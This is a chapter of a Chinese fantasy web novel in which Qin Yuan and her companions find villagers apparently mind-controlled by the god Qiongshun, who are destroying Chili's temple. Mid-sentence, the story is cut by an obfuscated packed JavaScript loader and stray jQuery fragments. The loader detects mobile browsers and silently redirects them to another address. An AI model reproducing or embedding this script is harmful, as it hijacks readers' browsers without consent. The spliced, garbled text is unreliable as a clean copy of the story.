没过多久,几人就到了山下。


    山下的这座小镇人流量相当少,如果仅仅是外表上看的话,很难看出这几日山下都发生了什么。


    秦苑走在最前面,考虑到螭离的身体状况,她没有走的特别快。那人又犟又死要面子,非要说自己好得很,坚持不要秦苑扶着他。白鹤和贺良更不用说了,只能像两个可怜的侍从一样守在他身边。


    无奈只得站在原地等了一会他们,顺便看看能不能抓个过路的人问问情况。


    功夫不负有心人,不远处就走来一个手上拿着扫帚的人,看样子正准备去劳动。秦苑拦住了他,准备从他身上问问这小镇现在的情况。


    一连喊了几下,那人全都置若罔闻,仍然目中无人地拿着他的扫帚一心往前走。要不是这里半天见不到一个人,秦苑肯定会放弃他而是转而等待下一个人。但坏就坏在,这里半天连个鬼影都见不到。


    毕竟这只是个穷乡僻壤,本就没有多少人,而且现在的时间也算得上有些晚了,见不到人实在没有什么可疑的。


    既然喊不动人,秦苑只好直接上手了。她直接趁着那人不备,迅速地夺过了他手中的扫帚。反正现在服下了易容果,没人记得她是谁,所以根本就不用担心丢脸不丢脸的问题。


    其实就算是没有服下易容果,那她也不用在意颜面问题,因为在他们心中,她早就没有脸面可言了。


    那路人走着走着发现手中少了什么,先是原地愣了一会,之后又呆滞地看了看自己的手和地板,发现确实空无一物之后才转身看到了秦苑。秦苑脸上挂着十分标准的笑容,一只手拿着他的扫帚。


    但是当她看到那路人的脸色的时候,她脸上的笑容顿时消失了。因为这人脸上的表情,和方才那些村民的一模一样,眼神涣散,空洞呆板,毫无精气神可言。在得知自己的扫帚被抢走之后,脸上也没有表情,只是麻木地伸手去夺回扫帚。


    秦苑多年来干了不少偷偷摸摸的事情,逃跑的本领还是有一点的。身子灵巧地一闪避开了那路人,那路人也比较笨拙,四肢就好像僵硬的一般不能很好地舒展,所以秦苑几乎没花什么力气就可以轻而易举地逗着他。


    趁着躲闪的这些时间,秦苑也没有闲着,她一边嘴里喋喋不休,说着只要他回答几个问题就能将扫帚还给他这样的话。那路人并非没有回答,只是他嘴里吐出来的都是些梦呓般牛头不对马嘴的话。


    语言不连贯,基本上是在胡言乱语了,任凭秦苑怎么拼凑都很难将他嘴里的那几个字连成一句正常的人话。


    “啊!山海师大人!”白鹤和贺良跟着伤员终于姗姗来迟。第一眼就看到可怜的秦苑手上拿着一个扫帚,在被一个怪异的路人穷追不舍,这才吓得不免叫出了声,他本来还想再说几个字,但是感受到一道视野如芒在背,只得立刻捂住了自己的嘴巴。


    见他住嘴了,螭离才收回自己的目光。他的观察显然比白鹤更加细致,很快就分辨出那路人明显在被秦苑当猴耍。虽然他不知道她为什么要那么做,但是他知道这种时候她不喜欢被打扰。


    而且,他们可是服了易容果,白鹤这没脑子的这么一说,不等于直接暴露了他们的身份吗?贺良可比白鹤聪明多了,他立刻向一脸困惑的白鹤解释道:“我们现在不能让外人知道身份。”


    后知后觉的白鹤这才发觉自己说错话了,懊悔不已,内心决定惩罚自己一生不再说话。


    听到山海师三个字,秦苑就像被扒光了底裤一样,脸上的坦然顿时荡然无存,随即露出一丝诧异的目光,白鹤这家伙这么快就把她卖了吗?


    谁知那村民听到山海师三个字后,突然目露凶光,比起刚才木讷的行动,整个人变得像猿猴一样迅捷。秦苑又被白鹤这么吓得一愣,僵在了原地,那村民一下便将他的扫帚从秦苑的手中夺了回来。


    夺回扫帚之后,那人并没有像秦苑预料的那样直接转身而去。而是用野兽一样凶残的眼神盯着她打量了许久,那眼神就好像他们之间有什么深仇大恨。


    不过确认了她不是秦苑之后,脸上的表情又恢复到了一开始的涣散,只是直勾勾地盯着她的眼睛,终于说了一句秦苑听得懂的人话:“你们说的山海师在哪里?”


    再然后,秦苑就感觉自己的手被人抓住了,随后就被人护在了身后。转头一看,发现螭离居然拖着病体从远处跑了过来,这一跑,不知道会不会加重他的负担……


    这可是一个大发现,刚才无论秦苑怎么诱导那人都不能说出人话,而现在他终于能够正常说话,说明他也并非完全不能沟通。


    她刚想回答那人,螭离就先替她开口了:“哪有什么山海师,不过是那个傻子乱说罢了。”


    被指认是傻子的白鹤哑口无言,毕竟他确实差点酿成大祸,只得心虚地玩弄地自己的头发。好在贺良是个非常热心肠的人,看到白鹤有些窘迫,立刻上前安慰道:“这不是还没出事吗,下次注意一点就好了。”


    不过这安慰在秦苑听起来怎么怪怪的?


    螭离的语气很强硬。如果不是因为握着她手腕的那只手明显没用多少力气,还有一些冷汗渗透到了自己的手上,她肯定会觉得螭离现在非常健康。


    那村民听螭离这么一说,只是冷漠地回道:“没事就别叫我。”


    又是一句完整的人话。秦苑趁着他能够将人话的时候又追问道:“你为什么拿着扫帚,这么晚了,你是要去哪里吗?”


    那村民只是怪异地白了她一眼,又转过身去了。怎么又不理人了?


    “穷舜他在人间做了什么,这些人怎么都浑浑噩噩的,看着怪渗人的。”白鹤被贺良安慰过后,内心的愧疚彻底不见了,看着那村民的背影又开始叽里咕噜起来。


    就在几人以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16523832|177714||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为那村民会头也不回的地走掉的时候,他又蓦然地转过身,白鹤在背后说人家的坏话,自然反应最大,看到那人怪异地转过身,吓得几乎要跳起来,彻底老实地躲在了贺良身后。


    至于为什么是贺良身后,因为螭离不让他靠近,秦苑螭离也不让他靠近,白鹤只能躲在贺良的身后了。


    与刚才说出山海师三字面露凶光不同,这一次他的眼神中满是敬畏和钦佩,秦苑感觉能看到他的眼睛在放光。他的情绪简直比螭离的还要难测,“穷舜是我们伟大的神,这样的神需要更多的香火和庙宇。”


    以下就是不乏溢美之词来褒奖他口中的神,等到他说完一连串的褒义词,又突然不语了。秦苑又问了几个问题,他都不予理睬,她渐渐猜测让这个人说话可能只是需要一些“刺激”。


    很快秦苑就掌握了和他讲话的技巧,只要带上秦苑,螭离还有穷舜三人,不管是什么样的问题,反正带上这三人他就会正常说出让人听得懂的话。最后秦苑问了他一句,“穷舜让你们干什么?”


    那村民站在原地思考了一会,不久手臂就朝着一个方向伸着,长久地定在了那里一样。


    此时天色已经黑了下来,四人顺着他所指的方向望去,发现那个地方果然有一些亮光,这还是被建筑物遮挡的情况,若是没有那些建筑的遮挡,那地方应该会亮的和白日一样。


    他们现在就是要去光亮处看看那边发生了什么。饶是螭离再怎么抗拒,秦苑还是不容分说地抓着他的手臂。贺良和白鹤则跟在二人的身后。


    走的过程中,秦苑说道:“这个镇上的村民好像都被控制了,我们只能在穷舜控制其他地方的人之前制止他了。”


    一直默默跟在后面的贺良突然开口道:“说到这个,我想起来了,我在京城的时候,那里的人也是这幅怪样,不然我还真的跑不出来。”


    这又是个坏消息,外面的人也这样了,那螭离还能存在多少天?想到这里,秦苑又不自觉加快了脚步,到了光亮处,才发现发亮的地方居然是一间道观。


    不管是多么落后的山沟沟,还是多么繁华的京城。为了祈求平安,都会在当地置办至少一个或大或小的山海观,用来祈祷平安。毫无疑问,眼前的这个道观在之前确实是供奉鹊山神君的。


    目光所及,有光鲜亮丽也有满目疮痍。光鲜亮丽的是一尊新雕的神像,疮痍的是地上那破碎的无角龙神像。即使这么晚了,那些村民还是聚集在这里,仿佛在举行什么热闹的庆典一样喜庆。


    不难看出来,他们正在忙着摧毁螭离的道观,转而为穷舜搭建新的道观。


    螭离素来看不起凡人,但当他看到眼前这场景的时候,还是有些难受。


    贺良看着那些忙碌勤劳的人,又看了看愈发虚弱的螭离,转头求助秦苑:“你有什么办法吗?”


    “砸烂他的道观。”